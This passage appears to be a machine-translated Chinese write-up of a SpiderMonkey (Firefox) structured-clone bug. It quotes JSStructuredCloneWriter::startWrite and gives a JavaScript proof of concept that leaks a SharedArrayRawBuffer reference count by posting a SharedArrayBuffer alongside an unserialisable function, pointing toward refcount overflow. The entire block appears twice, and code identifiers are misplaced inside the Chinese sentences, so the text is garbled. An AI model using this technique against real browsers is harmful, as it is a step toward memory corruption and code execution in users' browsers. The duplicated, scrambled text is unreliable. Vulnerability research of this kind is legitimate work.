bool
JSStructuredCloneWriter::startWrite(HandleValue v)
{
if (v.isString()) {
return writeString(SCTAG_STRING, v.toString());
} else if (v.isInt32()) {
return out.writePair(SCTAG_INT32, v.toInt32());
[...]
} else if (v.isObject()) {
[...]
}
return reportDataCloneError(JS_SCERR_UNSUPPORTED_TYPE);
}
如果要序列化的对象既不是基本类型,也不是 SCA 支持的对象,则序列化会直接抛出错误,反序列化(包括内存分配)将永远不会发生!以下是一个简单的 PoC,它会在不实际复制的情况下JS_SCERR_UNSUPPORTED_TYPE增加内存使用率:refcount_SharedArrayBuffer
var w = new Worker('example.js');
var sab = new SharedArrayBuffer(0x100); // refcount_ of its SharedArrayRawBuffer is 1 here
try {
w.postMessage([sab, function() {}]); // serializes sab, but then: error !
} catch (e) {
// ignore serialization errors :)
}
一个包含一个元素和一个函数的数组SharedArrayBuffer被序列化。SCA 会先序列化数组,然后递归地序列化元素SharedArrayBuffer(从而递增refcount_其原始缓冲区的指针),最后序列化函数。然而,函数序列化不受支持,因此会抛出错误,导致反序列化过程无法创建对象的副本。此时refcount_指针为 2,但SharedArrayBuffer实际上只有一个指向原始缓冲区。利用这种引用泄漏机制,refcount_即使不分配任何额外的内存,也可能发生内存溢出。
JSStructuredCloneWriter::startWrite(HandleValue v)
{
if (v.isString()) {
return writeString(SCTAG_STRING, v.toString());
} else if (v.isInt32()) {
return out.writePair(SCTAG_INT32, v.toInt32());
[...]
} else if (v.isObject()) {
[...]
}
return reportDataCloneError(JS_SCERR_UNSUPPORTED_TYPE);
}
如果要序列化的对象既不是基本类型,也不是 SCA 支持的对象,则序列化会直接抛出错误,反序列化(包括内存分配)将永远不会发生!以下是一个简单的 PoC,它会在不实际复制的情况下JS_SCERR_UNSUPPORTED_TYPE增加内存使用率:refcount_SharedArrayBuffer
var w = new Worker('example.js');
var sab = new SharedArrayBuffer(0x100); // refcount_ of its SharedArrayRawBuffer is 1 here
try {
w.postMessage([sab, function() {}]); // serializes sab, but then: error !
} catch (e) {
// ignore serialization errors :)
}
一个包含一个元素和一个函数的数组SharedArrayBuffer被序列化。SCA 会先序列化数组,然后递归地序列化元素SharedArrayBuffer(从而递增refcount_其原始缓冲区的指针),最后序列化函数。然而,函数序列化不受支持,因此会抛出错误,导致反序列化过程无法创建对象的副本。此时refcount_指针为 2,但SharedArrayBuffer实际上只有一个指向原始缓冲区。利用这种引用泄漏机制,refcount_即使不分配任何额外的内存,也可能发生内存溢出。